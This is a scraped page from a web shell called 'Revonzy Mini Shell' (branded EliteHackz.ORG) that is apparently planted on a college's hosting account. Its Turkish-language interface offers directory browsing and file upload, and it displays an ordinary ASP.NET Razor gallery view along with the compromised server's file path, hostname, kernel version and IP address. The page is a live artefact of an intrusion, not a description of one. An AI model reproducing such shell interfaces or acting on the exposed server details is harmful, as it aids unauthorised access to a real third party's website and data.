Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/old/Views/Main/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/old/Views/Main/GalleryPic.cshtml


@{
    urdumelajobs.Models.NewCUDF DocumentMaster = new urdumelajobs.Models.NewCUDF();
}
<style type="text/css">
    .webGrid {
        margin: 4px;
        border-collapse: collapse;
        width: 97%;
        padding-left: 90px;
        background-color: #FFF;
    }

    .header123 {
        background-color: #0094ff;
        font-weight: bold;
        color: #FFF;
    }

    .webGrid th {
        border: 1px solid #C0C0C0;
        padding: 5px;
        text-align: center;
        font-family: 'Times New Roman', Times, serif;
    }

    .webGrid td {
        border: 1px solid #FFF;
        color:black;
        padding: 5px;
        font-family: 'Times New Roman', Times, serif;
    }

    .alt {
        background-color: #ffffff;
        color: #000;
    }

    .gridHead a:hover {
        text-decoration: underline;
    }

    .description {
        width: auto;
    }

    .select {
        background-color: #71857C;
    }
</style>

@{
        var grid = new WebGrid(Model, canPage: true, rowsPerPage: 10, selectionFieldName: "selectedRow", ajaxUpdateContainerId: "gridContent", canSort: false);
        grid.Pager(WebGridPagerModes.NextPrevious);}
    <div id="gridContent">
        @grid.GetHtml(tableStyle: "webGrid",
                headerStyle: "header123",
                alternatingRowStyle: "alt",
                selectedRowStyle: "select",
                            columns: grid.Columns(grid.Column("Id", "SrNo"),
                            grid.Column("Name", " Name"),
                           // grid.Column("", header: "View", format: @<a href="@item.FormPath">View</a>),
                            grid.Column("", header: "Pic", format: @<img src="@item.FormPath" width="100" height="100">),
        grid.Column("Action", header: "Action", format: (item) => { return Html.Raw(string.Format("<text><a href=\"{0}\">Delete </a></text>", Url.Content("PhotoDelete/" + @item.Id1)));})
        
                          // grid.Column("Action", header: "Action", format: (item) => { return Html.Raw(string.Format(" <img src=\"{0}\" width=100 height=100></text>")); })

               //                                                                            grid.Column("Action", header: "View Status", format: (item) => { return Html.Raw(string.Format("<text><a href=\"{0}\">Show </a> | <a href=\"{1}\">Hide </a></text>", Url.Content("YwSfsShow/" + @item.Id1), Url.Content("YwSfsHide/" + @item.Id1))); })
             //@<a href="BuilderRejectStatus/@item.BuilderId">Reject </a>)            // grid.Column("Action", header:"Action",format :@<a href="BuilderApproveStatus/@item.BuilderId">Approve </a> +"|"+ @<a href="BuilderRejectStatus/@item.BuilderId">Reject </a>.ToHtmlString())                                                                               
    ))</div>


EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4